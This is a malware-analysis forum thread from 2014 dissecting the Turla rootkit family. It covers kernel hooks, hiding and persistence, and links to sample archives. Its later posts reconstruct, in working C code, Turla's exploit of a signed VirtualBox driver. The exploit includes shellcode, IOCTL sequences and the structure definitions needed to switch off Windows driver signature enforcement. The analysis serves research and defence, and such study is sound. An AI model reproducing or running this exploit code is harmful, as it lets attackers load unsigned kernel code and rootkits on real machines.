A forum for reverse engineering, OS internals and malware analysis 

Forum for analysis and discussion about malware.
 #22346  by AaLl86
 Mon Mar 03, 2014 11:48 pm
Very nice post and samples.
Thanks for sharing.
It seems to be a very interested sample.
I have already started to analyse it. Nice brand-new stuff. Thanks very much.

Andrea
 #22350  by EP_X0FF
 Tue Mar 04, 2014 8:01 am
I was interested in this "Kremlin cyberwarfare" so I looked on samples yestarday, especially interested in "highly complicated rootkit" inside. All samples from the above R136a1 post.

Turla 2006

KM
Rootkit.
Driver not hidden, name constant "atmarph".
Not crypted.
Dated back 23 March 2006.
Not hidden at disk or in registry.
Project C:\proj\drivers\fa\sys\objfre\i386\wd.pdb, where FA stands for name (conclusion based on device name driver uses next).
Autoload as SERVICE_KERNEL_DRIVER.
Hook SSDT NtQuerySystemInformation to hide user mode backdoor.

UM
Backdoor.
Hidden process wowmgr.exe
Packed by ASPack.
Runs as service.
Autoload as SERVICE_FILE_SYSTEM_DRIVER.
Service has complete network support (can upload, download) and set as whitelisted for Windows firewall.
Not hidden on disk or in registry.
Win9x compatible, in case if running inside W9x uses RegisterServiceProcess to hide itself.
Configuration params stored at HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\atmarph\Parameters

Communicates with driver by DeviceIoControl with symbolic link pointed to FaDevice1 device. For unknown reasons this device name is xor'ed with 0x55 key in both driver and application. Driver decrypts this string before creating symbolic link and device object. Application each time when passes something to driver decrypt string and open this device again.

Complicated and sophisticated? [Sarcasm]Very.[/Sarcasm] Just to FYI. In the same 2006 year were available such not *sophisticated* rootkits like for example Rustock A/B with it millions in the botnet, DKOM, DKOH, ADS and splicing.

[Irony]Contains numerous english words (set as debug output) and english resource section pointing it was created by U.S. Government and NSA directly. [/Irony]

Turla 2009-2010

Dropper packed with ASPack.

KM
Evolution of previous Turla driver. Same device, same code parts.
Rootkit.
Injector.
Sets IDT hook (see below)
Sets splicing hooks (see below)
Sets notification routine for injection purposes.
Detects VMware by VMX backdoor.
Includes disassembler (with string mnemonics decoding).
Project C:\proj\drivers\fa_2009\objfre\i386\atmarpd.pdb.
Used randomized filename.
Dated back 10 Nov 2009.
Autoload as SERVICE_KERNEL_DRIVER.
To prevent removal rootkit runs scheduled check (via system thread) of it own registry key and files and restores them if not found.


Turla hooking model:
IDT 0x55 entry set to point to the Turla handler.
The following SSDT entries:

NtClose
NtTerminateProcess
NtCreateThread
NtShutdownSystem
NtQuerySystemInformation


patched by inline modification in the following way
Code: Select all
mov al, SERVICE_ID
int 55h
ret 
e.g.
Code: Select all
nt!NtQuerySystemInformation:
8057bc36 b000            mov     al,0
8057bc38 cd55            int     55h
8057bc3a c3              ret

nt!NtClose:
805678dd b001            mov     al,1
805678df cd55            int     55h
805678e1 c3              ret

nt!NtTerminateProcess:
805822e0 b002            mov     al,2
805822e2 cd55            int     55h
805822e4 c3              ret

nt!NtShutdownSystem:
8064716b b00d            mov     al,0Dh
8064716d cd55            int     55h
8064716f c3              ret


lkd> !chkimg nt -d
    805678dd-805678e1  5 bytes - nt!NtClose
	[ 8b ff 55 8b ec:b0 01 cd 55 c3 ]
    8057bc36-8057bc3a  5 bytes - nt!NtQuerySystemInformation (+0x14359)
	[ 68 10 02 00 00:b0 00 cd 55 c3 ]
    805822e0-805822e4  5 bytes - nt!NtTerminateProcess (+0x66aa)
	[ 8b ff 55 8b ec:b0 02 cd 55 c3 ]
    8058e63f-8058e643  5 bytes - nt!NtCreateThread (+0xc35f)
	[ 6a 28 68 70 8c:b0 0c cd 55 c3 ]
    8064716b-8064716f  5 bytes - nt!NtShutdownSystem (+0xb8b2c)
	[ 8b ff 55 8b ec:b0 0d cd 55 c3 ]
Why? To not allow recognize handler of the hook by antirootkits.


UM
Payload mapped to chrome.exe firefox.exe opera.exe iexplore.exe services.exe explorer.exe by Turla driver.
Internal name IexploreDll.dll, msidfn32.dll, C:\tmp\objfre_w2K_x86\i386\msidfn32.pdb
High usage of 3rd party components in code, thus greatly increasing payload size.

Turla 2013

The only sophisticated from all series.
In addition to Frank analysis:

KM part is updated Turla from 2009. Same hooking model.
IDT 0xC3 set.
turla1.png
Turla IDT entry
turla1.png (34.83 KiB) Viewed 1173 times

Hook the following API's (mostly to avoid detection).

IofCallDriver
NtClose
ObOpenObjectByName
NtCreateKey
NtQueryKey
NtEnumerateKey
NtReadFile
NtQuerySystemInformation
NtTerminateProcess
NtCreateThread
IoCreateDevice
NtShutdownSystem
NtSaveKey
NtUserPeekMessage
NtUserGetMessage

Code: Select all
lkd> !chkimg nt -d
    804e37c5-804e37ca  6 bytes - nt!IofCallDriver
	[ ff 25 80 34 55 80:6a 00 cd c3 90 90 ]
    805678dd-805678e1  5 bytes - nt!NtClose
	[ 8b ff 55 8b ec:6a 08 cd c3 90 ]
    805683ff-80568403  5 bytes - nt!ObOpenObjectByName (+0xb22)
	[ 8b ff 55 8b ec:6a 0a cd c3 90 ]
    8057065d-80570661  5 bytes - nt!NtCreateKey (+0x825e)
	[ 68 c4 00 00 00:6a 04 cd c3 90 ]
    80570a6e-80570a73  6 bytes - nt!NtQueryKey+1 (+0x411)
	[ 60 68 10 c8 4e 80:02 cd c3 90 90 90 ]
    80570d65-80570d6a  6 bytes - nt!NtEnumerateKey+1 (+0x2f7)
	[ 54 68 50 c8 4e 80:03 cd c3 90 90 90 ]
    80574118-8057411d  6 bytes - nt!NtReadFile+1 (+0x33b3)
	[ 68 68 10 13 4f 80:06 cd c3 90 90 90 ]
    8057bc36-8057bc3a  5 bytes - nt!NtQuerySystemInformation (+0x7b1e)
	[ 68 10 02 00 00:6a 07 cd c3 90 ]
    805822e0-805822e4  5 bytes - nt!NtTerminateProcess (+0x66aa)
	[ 8b ff 55 8b ec:6a 09 cd c3 90 ]
    8058e640-8058e645  6 bytes - nt!NtCreateThread+1 (+0xc360)
	[ 28 68 70 8c 4f 80:0b cd c3 90 90 90 ]
    8059fa51-8059fa55  5 bytes - nt!IoCreateDevice (+0x11411)
	[ 8b ff 55 8b ec:6a 01 cd c3 90 ]
    8064716b-8064716f  5 bytes - nt!NtShutdownSystem (+0xa771a)
	[ 8b ff 55 8b ec:6a 0c cd c3 90 ]
    8064ed92-8064ed96  5 bytes - nt!NtSaveKey (+0x7c27)
	[ 8b ff 55 8b ec:6a 05 cd c3 90 ]
turla2.png
Blocked from access service
turla2.png (19.53 KiB) Viewed 1173 times
Files and registry keys are not really hidden. They are blocked from access with help of above hooks.
Contains several exploits (known Windows and VirtualBox).

All extracted components of Turla family in attach.
Attachments
pass: infected
(4.82 MiB) Downloaded 289 times
 #22351  by EP_X0FF
 Tue Mar 04, 2014 9:36 am
Complete list of API hooked on x64 Windows (in this case x64 Win7 SP1).

IoCreateDevice
IofCallDriver
ObOpenObjectByName
RtlCaptureContext (PatchGuard)
RtlLookupFunctionEntry (PatchGuard) -> no (http://vrt-blog.snort.org/2014/08/the-w ... ction.html)
NtReadFile
NtClose
NtQueryKey
NtQueryInformationProcess
NtCreateKey
NtTerminateProcess
NtEnumerateKey
NtQuerySystemInformation
NtCreateThread
NtCreateUserProcess
NtShutdownSystem
NtUserPeekMessage
NtUserGetMessage


As you can see malware hooked ntoskrnl and also win32k routines.

Hooking looks identical to x86, e.g.
Code: Select all
nt!NtClose:
fffff800`029d82a0 6a0c            push    0Ch
fffff800`029d82a2 cdc3            int     0C3h
fffff800`029d82a4 90              nop
Last edited by EP_X0FF on Sat Aug 16, 2014 7:23 am, edited 2 times in total. Reason: edit
 #22352  by EP_X0FF
 Tue Mar 04, 2014 12:40 pm
WinNT/Turla abuses signed X64 VirtualBox driver (presumable with special params of DeviceIoControl call) to bypass Windows Digital Signatures Enforcement and turn it off (g_CiEnabled always 0 when Turla is running, thus giving this malware ability to load any kind of unsinged code on x64 systems).

Driver located as encrypted part of main dropper component called vboxdrv_Win32.dll (resource id 3000).

To get it out (along with additional helper dll used with exploitation), do this only on VM:

1) patch vboxdrv_Win32.dll, remove dll flag
2) load it into debugger and set break on NtFreeVirtualMemory
3) when breakpoint triggered - dump memory it attempts to free (all data will be inside).

Files attached.
Attachments
pass: turla
(31.23 KiB) Downloaded 172 times
 #22354  by R136a1
 Tue Mar 04, 2014 4:05 pm
The exploit makes use a of custom PE loader to load ntoskrnl.exe from disk into memory and adjusting it manually (sections, relocate addresses, ...), thus forming a "clone" of the actual running module of ntoskrnl.exe to get the address of "g_CiEnabled". This way, it can acquire the address of "g_CiEnabled" from usermode without any admin privileges. It has also the advantage that this method reliably works on any Windows (ntoskrnl.exe) version. After having acquired the address of "g_CiEnabled", it is passed via DeviceIoControl to the VirtualBox driver, but I don't know how g_CiEnabled is actually patched...

The vulnerable VirtualBox driver is version 1.6.2 and is freely available:
https://www.virtualbox.org/wiki/Download_Old_Builds_1_6

The found vulnerability is probably inspired by this:
http://www.coresecurity.com/content/vir ... nerability

That's one of the drawbacks of signed, old and vulnerable drivers which are still freely available. If they were signed with a valid timestamp, it doesn't matter if the certificate expired. As long as the certificate isn't revoked, these drivers can be used to write into kernel from usermode, for example to disable Windows Driver Signing to load unsigned code on x64 systems.
 #22355  by EP_X0FF
 Tue Mar 04, 2014 4:10 pm
Yes, first impression was: this is Sun backdoor nor vulnerability. However I think it is bug. We've walked through exploitation process, and maybe can fully reproduce this exploit later.

1) open VBoxDrv by symbolic link CreateFile
2) locate ntoskrnl image name (NtQuerySystemInformation) and loaded image base
3) load it as image file (loader)
4) locate ci.dll in ntoskrnl import
5) locate CiInitialize reference from ci.dll import thus locating unexported SepInitializeCodeIntegrity
6) scan from this reference to find g_CiEnabled, correct address to point on this variable in kernel memory

7)


=======================================================================================

DeviceIoControl(VBoxDrv, 0x228204, data, sizeof(data), data, sizeof(data), &out, NULL);

input buffer, size 0x30
0x000000000012FEB8 74 6f 72 69 00 00 00 00 30 00 00 00 38 00 00 00 tori....0...8...
0x000000000012FEC8 42 00 00 42 00 00 00 00 54 68 65 20 4d 61 67 69 B..B....The Magi
0x000000000012FED8 63 20 57 6f 72 64 21 00 00 00 00 00 02 00 07 00 c Word!.........
0x000000000012FEE8 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
0x000000000012FEF8 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
0x000000000012FF08 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................

result
0x000000000012FEB8 74 6f 72 69 00 00 00 00 30 00 00 00 38 00 00 00 tori....0...8...
0x000000000012FEC8 42 00 00 42 00 00 00 00 62 69 72 64 64 72 69 62 B..B....birddrib
0x000000000012FED8 02 00 07 00 02 00 07 00 53 00 00 00 02 00 07 00 ........S.......
0x000000000012FEE8 30 d1 bd 05 80 fa ff ff 00 00 00 00 00 00 00 00 0СЅ.Ђъяя........

=======================================================================================

DeviceIoControl(VBoxDrv, 0x228214, data, sizeof(data), data, sizeof(data), &out, NULL);

input buffer, size 0x40
0x000000000012FEF0 62 69 72 64 64 72 69 62 40 00 00 00 28 00 00 00 birddrib@...(...
0x000000000012FF00 42 00 00 42 00 00 00 00 20 00 00 00 61 00 00 00 B..B.... ...a...
0x000000000012FF10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
0x000000000012FF20 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................

result
0x000000000012FEF0 62 69 72 64 64 72 69 62 40 00 00 00 28 00 00 00 birddrib@...(...
0x000000000012FF00 42 00 00 42 00 00 00 00 e0 d0 bd 05 80 fa ff ff B..B....аРЅ.Ђъяя
0x000000000012FF10 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
0x000000000012FF20 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................

=======================================================================================

DeviceIoControl(VBoxDrv, 0x228218, data, sizeof(data), data, sizeof(data), &out, NULL);
input buffer, size 0x88

0x00000000003F1D60 62 69 72 64 64 72 69 62 88 00 00 00 18 00 00 00 birddrib€.......
0x00000000003F1D70 42 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 B..B............
0x00000000003F1D80 00 00 00 00 00 00 00 00 00 10 00 00 00 00 00 00 ................
0x00000000003F1D90 e0 d0 bd 05 80 fa ff ff e0 d0 bd 05 80 fa ff ff аРЅ.ЂъяяаРЅ.Ђъяя
0x00000000003F1DA0 e0 d0 bd 05 80 fa ff ff e0 d0 bd 05 80 fa ff ff аРЅ.ЂъяяаРЅ.Ђъяя
0x00000000003F1DB0 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
0x00000000003F1DC0 00 00 00 00 20 00 00 00 33 c0 c3 cc cc cc cc cc .... ...3АГМММММ
0x00000000003F1DD0 cc cc cc cc cc cc cc cc

result
no change

=======================================================================================

DeviceIoControl(VBoxDrv, 0x22824C, data, sizeof(data), data, sizeof(data), &out, NULL);
input buffer, size 0x40

0x000000000012FE98 62 69 72 64 64 72 69 62 20 00 00 00 18 00 00 00 birddrib .......
0x000000000012FEA8 42 00 00 42 00 00 00 00 00 10 00 00 00 00 00 00 B..B............

result
no change

=======================================================================================

DeviceIoControl(VBoxDrv, 0x22830B, KERNELMODE_ADDRESS, 0, KERNELMODE_ADDRESS, 0, &out, NULL);
 #22356  by rinn
 Tue Mar 04, 2014 6:48 pm
Hello,

A little bit messed with DeviceIoControl parameters :)
Code: Select all
ULONG_PTR data[15];

memcpy(data, magic, sizeof(magic));

DeviceIoControl(VBoxDrv, 0x228204, data, sizeof(inputdatasize), data, (outputdatasize), NULL, NULL);
etc ;)

Best Regards,
-rin
Last edited by EP_X0FF on Wed Mar 05, 2014 5:06 pm, edited 1 time in total. Reason: code tag fixed
 #22357  by 0x16/7ton
 Tue Mar 04, 2014 6:59 pm
Exploit pseudocode:
Code: Select all
 SUPCOOKIE CookieReq;
 uint32_t g_u32Cookie   = CookieReq.u.Out.u32Cookie;
 uint32_t g_u32SessionCookie  = CookieReq.u.Out.u32SessionCookie;
 uint32_t g_pSession     = CookieReq.u.Out.pSession;
 void *pvImageBase;
 CookieReq.Hdr.u32Cookie = SUPCOOKIE_INITIAL_COOKIE;
 CookieReq.Hdr.cbIn =  SUP_IOCTL_COOKIE_SIZE_IN;
 CookieReq.Hdr.cbOut = SUP_IOCTL_COOKIE_SIZE_OUT;
 CookieReq.Hdr.fFlags = SUPREQHDR_FLAGS_DEFAULT;
 CookieReq.Hdr.rc = VERR_INTERNAL_ERROR;
 CookieReq.u.In.u32ReqVersion = SUPDRVIOC_VERSION;
 CookieReq.u.In.u32MinVersion = 0x00070002;
 strcpy(CookieReq.u.In.szMagic, SUPCOOKIE_MAGIC);
 if (SUCCESS(deviceIOcontrol_wrap(SUP_IOCTL_COOKIE, &CookieReq, SUP_IOCTL_COOKIE_SIZE)))
{
        SUPLDROPEN OpenReq;
        OpenReq.Hdr.u32Cookie = g_u32Cookie;
        OpenReq.Hdr.u32SessionCookie = g_u32SessionCookie;
        OpenReq.Hdr.cbIn = SUP_IOCTL_LDR_OPEN_SIZE_IN;
        OpenReq.Hdr.cbOut = SUP_IOCTL_LDR_OPEN_SIZE_OUT;
        OpenReq.Hdr.fFlags = SUPREQHDR_FLAGS_DEFAULT;
        OpenReq.Hdr.rc = VERR_INTERNAL_ERROR;
        OpenReq.u.In.szName = 'a'
        if(SUCCESS(deviceIOcontrol_wrap(SUP_IOCTL_LDR_OPEN, &OpenReq, SUP_IOCTL_LDR_OPEN_SIZE)))
        {
                  pvImageBase = (void *)OpenReq.u.Out.pvImageBase;  // Here we get r0 ptr of our fake-vm_image
                  PSUPLDRLOAD pLoadReq = malloc (0x90); //haha don't matter
                  pLoadReq->Hdr.u32Cookie = g_u32Cookie;
                  pLoadReq->Hdr.u32SessionCookie = g_u32SessionCookie;
                  pLoadReq->Hdr.cbIn = 0x90;
                  pLoadReq->Hdr.cbOut = SUP_IOCTL_LDR_LOAD_SIZE_OUT;
                  pLoadReq->Hdr.fFlags = SUPREQHDR_FLAGS_MAGIC | SUPREQHDR_FLAGS_EXTRA_IN;
                  pLoadReq->Hdr.rc = VERR_INTERNAL_ERROR;
                  pLoadReq->u.In.eEPType = SUPLDRLOADEP_VMMR0;
                  pLoadReq->u.In.EP.VMMR0.pvVMMR0       = pvImageBase ;
                  pLoadReq->u.In.EP.VMMR0.pvVMMR0EntryInt = (RTR0PTR)pvImageBase ;
                  pLoadReq->u.In.EP.VMMR0.pvVMMR0EntryFast= (RTR0PTR)pvImageBase ;//hehe our next target :D
                  pLoadReq->u.In.EP.VMMR0.pvVMMR0EntryEx  = (RTR0PTR)pvImageBase ;

                  WriteShellCode_wrap(&pLoadReq->u.In.achImage[0]); // <<< here our mini-shellcode
                 
                  if(SUCCESS(deviceIOcontrol_wrap(SUP_IOCTL_LDR_LOAD, pLoadReq, 0x90)))
                  {
                                 SUPSETVMFORFAST Req;
                                 Req.Hdr.u32Cookie = g_u32Cookie;
                                 Req.Hdr.u32SessionCookie = g_u32SessionCookie;
                                 Req.Hdr.cbIn = SUP_IOCTL_SET_VM_FOR_FAST_SIZE_IN;
                                 Req.Hdr.cbOut = SUP_IOCTL_SET_VM_FOR_FAST_SIZE_OUT;
                                 Req.Hdr.fFlags = SUPREQHDR_FLAGS_DEFAULT;
                                 Req.Hdr.rc = VERR_INTERNAL_ERROR;
                                 Req.u.In.pVMR0 = 0x1000;
                                 if(SUCCESS(deviceIOcontrol_wrap(SUP_IOCTL_SET_VM_FOR_FAST, &Req, SUP_IOCTL_SET_VM_FOR_FAST_SIZE)))
                                 {
                                          //trigger our mini-shellcode and w-w-w 
                                          deviceIOcontrol_wrap(SUP_IOCTL_FAST_DO_NOP,g_CiEnabled,SUP_IOCTL_FAST_DO_NOP_SIZE);
                                 }
                  }
        }
}
 
In general W-W-W error is locating here:
Code: Select all
 
NTSTATUS _stdcall VBoxDrvNtDeviceControl(PDEVICE_OBJECT pDevObj, PIRP pIrp)
{
      if (  ulCmd == SUP_IOCTL_FAST_DO_RAW_RUN
        ||  ulCmd == SUP_IOCTL_FAST_DO_HWACC_RUN
        ||  ulCmd == SUP_IOCTL_FAST_DO_NOP)
   {
     rc = supdrvIOCtlFast(ulCmd, pDevExt, pSession);
     ....
 __try
       {
            *(int *)pIrp->UserBuffer = rc;   // <<< W-W-W is here
       }
 __except(EXCEPTION_EXECUTE_HANDLER)
       {
            rcNt = pIrp->IoStatus.Status = GetExceptionCode();
            dprintf(("VBoxSupDrvDeviceContorl: Exception Code %#x\n", rcNt));
       }
    }
.........
}
But now we need understand how to control rc variable.
Going deeper to the supdrvIOCtlFast function:
Code: Select all
int VBOXCALL supdrvIOCtlFast(uintptr_t uIOCtl, PSUPDRVDEVEXT pDevExt, PSUPDRVSESSION pSession)
{   
    ....
	case SUP_IOCTL_FAST_DO_NOP:
        rc = pDevExt->pfnVMMR0EntryFast(pSession->pVM, SUP_VMMR0_DO_NOP); // pfnVMMR0EntryFast is can be controlled lol!
	....
}
So first we create fake-vm image.
With help of SUP_IOCTL_LDR_OPEN we get r0 pointer,then we allocate user-mode space buffer(SUPLDRLOAD) for fake image and load them to r0 (SUP_IOCTL_LDR_LOAD)
Here the defination of SUPLDRLOAD struct
Code: Select all
typedef struct SUPLDRLOAD
{
    /** The header. */
    SUPREQHDR               Hdr;
    union
    {
        struct
        {
            /** The address of module initialization function. Similar to _DLL_InitTerm(hmod, 0). */
            PFNR0MODULEINIT pfnModuleInit;
            /** The address of module termination function. Similar to _DLL_InitTerm(hmod, 1). */
            PFNR0MODULETERM pfnModuleTerm;
            /** Special entry points. */
            union
            {
                struct
                {
                    /** The module handle (i.e. address). */
                    RTR0PTR         pvVMMR0;
                    /** Address of VMMR0EntryInt function. */
                    RTR0PTR         pvVMMR0EntryInt;
                    /** Address of VMMR0EntryFast function. */
                    RTR0PTR         pvVMMR0EntryFast;
                    /** Address of VMMR0EntryEx function. */
                    RTR0PTR         pvVMMR0EntryEx;
                } VMMR0;
            }               EP;
            /** Address. */
            RTR0PTR         pvImageBase;
            /** Entry point type. */
            SUPLDRLOADEP    eEPType;
            /** The offset of the symbol table. */
            uint32_t        offSymbols;
            /** The number of entries in the symbol table. */
            uint32_t        cSymbols;
            /** The offset of the string table. */
            uint32_t        offStrTab;
            /** Size of the string table. */
            uint32_t        cbStrTab;
            /** Size of image (including string and symbol tables). */
            uint32_t        cbImage;
            /** The image data. */
            char            achImage[1];
        } In;
    } u;
} SUPLDRLOAD, *PSUPLDRLOAD;
Every RTR0PTR routine can be controlled,but ptr address must be in r0 fake-image range.
So exploit abuse this unsecure logic by writing mini-shellcode to SUPLDRLOAD->achImage,(that field actually copy to r0 imagebase) and seting all RTR0PTR routine to r0 imagebase(that we got from SUP_IOCTL_LDR_OPEN).
Shellcode:
Code: Select all
xor eax,eax
ret
It's very important that eEPType must be SUPLDRLOADEP_VMMR0,coz inside supdrvIOCtl_LdrLoad:
Code: Select all
    
/*
     * Update any entry points.
     */
    switch (pReq->u.In.eEPType)
    {
        default:
        case SUPLDRLOADEP_NOTHING:
            rc = VINF_SUCCESS;
            break;
        case SUPLDRLOADEP_VMMR0:
            rc = supdrvLdrSetR0EP(pDevExt, pReq->u.In.EP.VMMR0.pvVMMR0, pReq->u.In.EP.VMMR0.pvVMMR0EntryInt,  // <<< here we go
                                  pReq->u.In.EP.VMMR0.pvVMMR0EntryFast, pReq->u.In.EP.VMMR0.pvVMMR0EntryEx);
            break;
    }
And finally inside supdrvLdrSetR0EP
Code: Select all
        pDevExt->pvVMMR0            = pvVMMR0;
        pDevExt->pfnVMMR0EntryInt   = pvVMMR0EntryInt;
        pDevExt->pfnVMMR0EntryFast  = pvVMMR0EntryFast;   // <<< Hereee  :) 
        pDevExt->pfnVMMR0EntryEx    = pvVMMR0EntryEx;
After exploit turn on FAST_IOCTL mode and send SUP_IOCTL_FAST_DO_NOP,finally trigger shellcode in r0 memory.Shellcode return zero to rc variable and we successfully overwrite g_CiEnabled.

Ok,now i am trying to write up this step by step.

-initilize session cookie with SUP_IOCTL_COOKIE I/O.
-get r0 ptr by SUP_IOCTL_LDR_OPEN
-store to r0 our shellcode and overwrite RTR0PTR routines by SUP_IOCTL_LDR_LOAD
-turn on FAST_IOCTL
-trigger our controlled r0 ptr by SUP_IOCTL_FAST_DO_NOP

:evil: :evil: :evil:
 #22363  by EP_X0FF
 Wed Mar 05, 2014 2:36 pm
WinNT/Turla VBoxDrv reconstructed backdoor X64 exploit.
Code: Select all
#include "vbox.h"
#include "prtl.h"

const unsigned char shellcode[] = { 
	0x33, 0xC0, 0xC3, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, /* xor eax, eax */
	0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00  /* ret */
};


VOID DisableDSE(
	PVOID g_CiEnabledAddr
	)
{
	HANDLE hObject = NULL;
	SUPCOOKIE Cookie;
	SUPLDROPEN OpenLdr;
	DWORD bytesIO = 0;
	PVOID ImageBase = NULL;
	PSUPLDRLOAD pLoadTask = NULL;
	SUPSETVMFORFAST vmFast;


	hObject = CreateFile(TEXT("\\\\.\\VBoxDrv"), GENERIC_READ | GENERIC_WRITE, FILE_SHARE_READ | FILE_SHARE_WRITE, NULL, OPEN_EXISTING, 0, NULL);
	if (hObject != INVALID_HANDLE_VALUE) {

		memset(&Cookie, 0, sizeof(SUPCOOKIE));
		Cookie.Hdr.u32Cookie = SUPCOOKIE_INITIAL_COOKIE;
		Cookie.Hdr.cbIn =  SUP_IOCTL_COOKIE_SIZE_IN;
		Cookie.Hdr.cbOut = SUP_IOCTL_COOKIE_SIZE_OUT;
		Cookie.Hdr.fFlags = SUPREQHDR_FLAGS_DEFAULT;
		Cookie.Hdr.rc = 0;
		Cookie.u.In.u32ReqVersion = 0;
		Cookie.u.In.u32MinVersion = 0x00070002;
		_strcpyA(Cookie.u.In.szMagic, SUPCOOKIE_MAGIC);

		if (!DeviceIoControl(hObject, SUP_IOCTL_COOKIE, &Cookie, SUP_IOCTL_COOKIE_SIZE_IN, &Cookie, 
			SUP_IOCTL_COOKIE_SIZE_OUT, &bytesIO, NULL)) goto fail;

		memset(&OpenLdr, 0, sizeof(OpenLdr));	
		OpenLdr.Hdr.u32Cookie = Cookie.u.Out.u32Cookie;
		OpenLdr.Hdr.u32SessionCookie = Cookie.u.Out.u32SessionCookie;
		OpenLdr.Hdr.cbIn = SUP_IOCTL_LDR_OPEN_SIZE_IN;
		OpenLdr.Hdr.cbOut = SUP_IOCTL_LDR_OPEN_SIZE_OUT;
		OpenLdr.Hdr.fFlags = SUPREQHDR_FLAGS_DEFAULT;
		OpenLdr.Hdr.rc = 0;
		OpenLdr.u.In.cbImage = sizeof(OpenLdr.u.In.szName);
		OpenLdr.u.In.szName[0] = 'a';
		OpenLdr.u.In.szName[1] = 0;

		if (!DeviceIoControl(hObject, SUP_IOCTL_LDR_OPEN, &OpenLdr, SUP_IOCTL_LDR_OPEN_SIZE_IN, 
			&OpenLdr, SUP_IOCTL_LDR_OPEN_SIZE_OUT, &bytesIO, NULL)) goto fail;

		ImageBase = OpenLdr.u.Out.pvImageBase;	
		pLoadTask = (PSUPLDRLOAD)VirtualAlloc(NULL, 0x90, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);
		if (pLoadTask == NULL) goto fail;

		RtlSecureZeroMemory(pLoadTask, 0x90);

		pLoadTask->Hdr.u32Cookie = Cookie.u.Out.u32Cookie;
		pLoadTask->Hdr.u32SessionCookie = Cookie.u.Out.u32SessionCookie;
		pLoadTask->Hdr.cbIn = 0x88;
		pLoadTask->Hdr.cbOut = SUP_IOCTL_LDR_LOAD_SIZE_OUT;
		pLoadTask->Hdr.fFlags =  SUPREQHDR_FLAGS_MAGIC;
		pLoadTask->Hdr.rc = 0;
		pLoadTask->u.In.eEPType = SUPLDRLOADEP_VMMR0;
		pLoadTask->u.In.EP.VMMR0.pvVMMR0 = (PVOID)0x1000;
		pLoadTask->u.In.pvImageBase = (RTR0PTR)ImageBase;
		pLoadTask->u.In.EP.VMMR0.pvVMMR0EntryEx = (RTR0PTR)ImageBase;
		pLoadTask->u.In.EP.VMMR0.pvVMMR0EntryFast = (RTR0PTR)ImageBase;
		pLoadTask->u.In.EP.VMMR0.pvVMMR0EntryInt = (RTR0PTR)ImageBase;
		memcpy(pLoadTask->u.In.achImage, shellcode, sizeof(shellcode));
		pLoadTask->u.In.cbImage = sizeof(shellcode);

		if (!DeviceIoControl(hObject, SUP_IOCTL_LDR_LOAD, pLoadTask, 0x88, 
			pLoadTask, sizeof(SUPREQHDR), &bytesIO, NULL)) goto fail;

		vmFast.Hdr.u32Cookie = Cookie.u.Out.u32Cookie;
		vmFast.Hdr.u32SessionCookie = Cookie.u.Out.u32SessionCookie;
		vmFast.Hdr.rc = 0;
		vmFast.Hdr.fFlags = SUPREQHDR_FLAGS_DEFAULT;
		vmFast.Hdr.cbIn = SUP_IOCTL_SET_VM_FOR_FAST_SIZE_IN;
		vmFast.Hdr.cbOut = SUP_IOCTL_SET_VM_FOR_FAST_SIZE_OUT;
		vmFast.u.In.pVMR0 = (PVOID)0x1000;

		if (!DeviceIoControl(hObject, SUP_IOCTL_SET_VM_FOR_FAST, 
			&vmFast, SUP_IOCTL_SET_VM_FOR_FAST_SIZE_IN, 
			&vmFast, SUP_IOCTL_SET_VM_FOR_FAST_SIZE_OUT, &bytesIO, NULL)) goto fail;


		DeviceIoControl(hObject, SUP_IOCTL_FAST_DO_NOP, g_CiEnabledAddr, 0, g_CiEnabledAddr, 0, &bytesIO, NULL);

fail:
		if (hObject != INVALID_HANDLE_VALUE) CloseHandle(hObject);
		if (pLoadTask != NULL) VirtualFree(pLoadTask, 0, MEM_RELEASE);
	}
}
vbox.h (compiled from old virtual box sources)
Code: Select all
#include <stdint.h>

#pragma pack(8) 

typedef void* RTR0PTR;

typedef struct SUPREQHDR
{
    /** Cookie. */
    uint32_t        u32Cookie;
    /** Session cookie. */
    uint32_t        u32SessionCookie;
    /** The size of the input. */
    uint32_t        cbIn;
    /** The size of the output. */
    uint32_t        cbOut;
    /** Flags. See SUPREQHDR_FLAGS_* for details and values. */
    uint32_t        fFlags;
    /** The VBox status code of the operation, out direction only. */
    int32_t         rc;
} SUPREQHDR;

/** SUP_IOCTL_COOKIE. */
typedef struct SUPCOOKIE
{
    /** The header.
     * u32Cookie must be set to SUPCOOKIE_INITIAL_COOKIE.
     * u32SessionCookie should be set to some random value. */
    SUPREQHDR               Hdr;
    union
    {
        struct
        {
            /** Magic word. */
            char            szMagic[16];
            /** The requested interface version number. */
            uint32_t        u32ReqVersion;
            /** The minimum interface version number. */
            uint32_t        u32MinVersion;
        } In;
        struct
        {
            /** Cookie. */
            uint32_t        u32Cookie;
            /** Session cookie. */
            uint32_t        u32SessionCookie;
            /** Interface version for this session. */
            uint32_t        u32SessionVersion;
            /** The actual interface version in the driver. */
            uint32_t        u32DriverVersion;
            /** Number of functions available for the SUP_IOCTL_QUERY_FUNCS request. */
            uint32_t        cFunctions;
            /** Session handle. */
            /*R0PTRTYPE(PSUPDRVSESSION)*/ PVOID   pSession;
        } Out;
    } u;
} SUPCOOKIE, *PSUPCOOKIE;

typedef struct SUPLDROPEN
{
    /** The header. */
    SUPREQHDR               Hdr;
    union
    {
        struct
        {
            /** Size of the image we'll be loading. */
            uint32_t        cbImage;
            /** Image name.
             * This is the NAME of the image, not the file name. It is used
             * to share code with other processes. (Max len is 32 chars!)  */
            char            szName[32];
        } In;
        struct
        {
            /** The base address of the image. */
            RTR0PTR         pvImageBase;
            /** Indicate whether or not the image requires loading. */
            bool            fNeedsLoading;
        } Out;
    } u;
} SUPLDROPEN, *PSUPLDROPEN;

